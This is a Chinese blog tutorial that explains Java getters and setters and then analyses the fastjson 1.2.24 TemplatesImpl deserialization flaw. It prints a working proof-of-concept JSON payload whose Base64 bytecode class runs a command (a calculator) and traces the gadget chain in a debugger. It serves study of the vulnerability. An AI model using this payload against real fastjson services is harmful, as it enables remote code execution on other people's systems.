Java--fastjson-1.2.24 TemplatesImpl 反序列化

getter和setter

先来看一下Java中的getter和setter方法,

简单来说就是调用setter方法设置变量的值,调用getter方法来获取变量的值。

体现了Java三大特性之一封装

用private去修饰一个变量,然后再用setter方法去设置该变量的值,然后在用getter方法去调用该变量的值

package first;

public class Student{
    private String number;//学生学号
    private String name;//学生姓名
    private int grade;//学生成绩

    public Student(){
    }

    public String getNumber(){//用get方法得到学号(下同)
        return number;
    }
    public void setNumber(String number){//用set方法去设置学号(下同)
        this.number=number;
    }

    public String getName(){
        return name;
    }
    public void setName(String name){
        this.name=name;
    }

    public int getGrade(){
        return grade;
    }
    public void setGrade(int grade){
        this.grade=grade;
    }

    public static void main(String agrs[]){
        Student st=new Student();
        st.setNumber("MX16604");
        st.setName("小明");
        st.setGrade(100);
        System.out.println("学号为:"+st.getNumber()+","+"姓名为:"+st.getName()+","+"成绩为:"+st.getGrade()+".");
    }
}

 

运行结果是很简单的:

Java--fastjson-1.2.24 TemplatesImpl 反序列化

 

 

 

那么再来看看调试的过程

通过setter方法已经把初值赋给了private的三个属性

Java--fastjson-1.2.24 TemplatesImpl 反序列化

 

 

 

然后调用getter获取值

Java--fastjson-1.2.24 TemplatesImpl 反序列化

 

 

 

 

 

TemplatesImpl 反序列化

 

去下载fastjson-1.2.24的jar包,加载到项目下

这个java文件位于 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

Java--fastjson-1.2.24 TemplatesImpl 反序列化

 

 

 

给出一个简单的poc

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;


public class TemplatesImplPoc {
    public static void main(String[] args) {
        ParserConfig config = new ParserConfig();
        String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADEAMgoABgAjCgAkACUIACYKACQAJwcAKAcAKQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQApTGNvbS9kYXJrZXJib3gv5p6E6YCgYnl0ZWNvZGVzL2J5dGVjb2RlMTsBAApFeGNlcHRpb25zBwAqAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcAKwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwcALAEAClNvdXJjZUZpbGUBAA5ieXRlY29kZTEuamF2YQwABwAIBwAtDAAuAC8BAARjYWxjDAAwADEBACdjb20vZGFya2VyYm94L+aehOmAoGJ5dGVjb2Rlcy9ieXRlY29kZTEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAAEAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAADwAEABAADQARAAsAAAAMAAEAAAAOAAwADQAAAA4AAAAEAAEADwABABAAEQACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAFQALAAAAIAADAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABQAFQACAA4AAAAEAAEAFgABABAAFwABAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAGQALAAAAKgAEAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABgAGQACAAAAAQAaABsAAwAJABwAHQACAAkAAAArAAAAAQAAAAGxAAAAAgAKAAAABgABAAAAHgALAAAADAABAAAAAQAeAB8AAAAOAAAABAABACAAAQAhAAAAAgAi\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
        // Fastjson默认只会反序列化public修饰的属性,outputProperties和_bytecodes由private修饰,必须加入Feature.SupportNonPublicField 在parseObject中才能触发;
        Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
    }
}

 

为什么json的paylaod这样写呢,下面先来了解一些基础

@type是指定了解析的类,也就是后面写的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

fastjson去指定类反序列化得到该类的实例。

(注意在默认情况下只会去反序列化public所修饰的属性,而poc中用到的_bytecodes和_name都是私有属性)

想要反序列化私有属性就得在用parseObject()时候设置Feature.SupportNonPublicField

_bytecodes——是我们把恶意类的.class文件二进制格式进行Base64编码后得到的字符串;

_outputProperties——漏洞利用链的关键 会调用其参数的getOutputProperties()方法,进而导致命令执行;

_tfactory:{}——在defineTransletClasses()时会调用getExternalExtensionsMap(),当为null时会报错,所以要对_tfactory设置;

 

调试分析

在 getOutputProperties()处下断点,反序列化后调用到这里,该方法又调用了

newTransformer().getOutputProperties()方法

Java--fastjson-1.2.24 TemplatesImpl 反序列化

 

 

 

然后我们跟进进入newTransformer()方法,看到又调用了getTransletInstance()方法

Java--fastjson-1.2.24 TemplatesImpl 反序列化

 

 

 继续跟进getTransletInstance()方法,可以看到已经在构造创建生成Java类了

Java--fastjson-1.2.24 TemplatesImpl 反序列化

 

 

 

这里需要_name不为空且,_class为空就会去调用defineTransletClasses()这个方法

Java--fastjson-1.2.24 TemplatesImpl 反序列化

 

 

 

这里需要说明一下 这个defineTransletClasses()的逻辑要求_bytecodes不为空

着就会调用自定义的 ClassLoader 去加载 _bytecodes 中的 byte[] 。而 _bytecodes 也是该类的成员属性。

Java--fastjson-1.2.24 TemplatesImpl 反序列化

 

 

 

 

 而如果这个类的父类为 ABSTRACT_TRANSLET 也就是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

就会将类成员属性的,_transletIndex 设置为当前循环中的标记位,

而如果是第一次调用,就是_class[0]。如果父类不是这个类,将会抛出异常。

Java--fastjson-1.2.24 TemplatesImpl 反序列化

 

 

 

 

再往后就是生成我们字节码定义的恶意类,执行命令弹计算器了

Java--fastjson-1.2.24 TemplatesImpl 反序列化

 

整个个调用链就是:

反序列化时候,因为getter方法getOutputProperties满足条件被fastjson调用,这个方法触发了整个利用流程。

getOutputProperties()->newTransformer()->getTransletInstance()(这里生成我们的恶意类)->defineTransletClasses()

EvilClass.newInstance()

 

对_bytecodes进行Base64编码

分析Fastjson对JSON字符串的解析过程,原理Fastjson提取byte[]数组字段值时会进行Base64解码,所以我们构造payload时需要对_bytecodes字段进行Base64加密处理。

 

需要设置_tfactory为{}

由前面的调试分析知道,在getTransletInstance()函数中调用了defineTransletClasses()函数,defineTransletClasses()函数是用于生成Java类的,在其中会新建一个转换类加载器,其中会调用到_tfactory.getExternalExtensionsMap()方法,若_tfactory为null则会导致这段代码报错、从而无法生成恶意类,进而无法成功攻击利用:

同样的在前面可以看到需要满足_name也不为空。

 

反序列化调用getter方法时会调用到TemplatesImpl.getOutputProperties()方法

getOutputProperties()方法是个无参数的非静态的getter方法,以get开头且第四个字母为大写形式,其返回值类型是Properties即继承自Map类型,Fastjson反序列化时会调用的getter方法的条件,因此在使用Fastjson对TemplatesImpl类对象进行反序列化操作时会自动调用getOutputProperties()方法。

参考:Java反序列化

上一篇:mybaits-plus json 的List<某obj>转换报错:com.alibaba.fastjson.JSONException: syntax error, expect {,


下一篇:SpringBoot整合 fastjson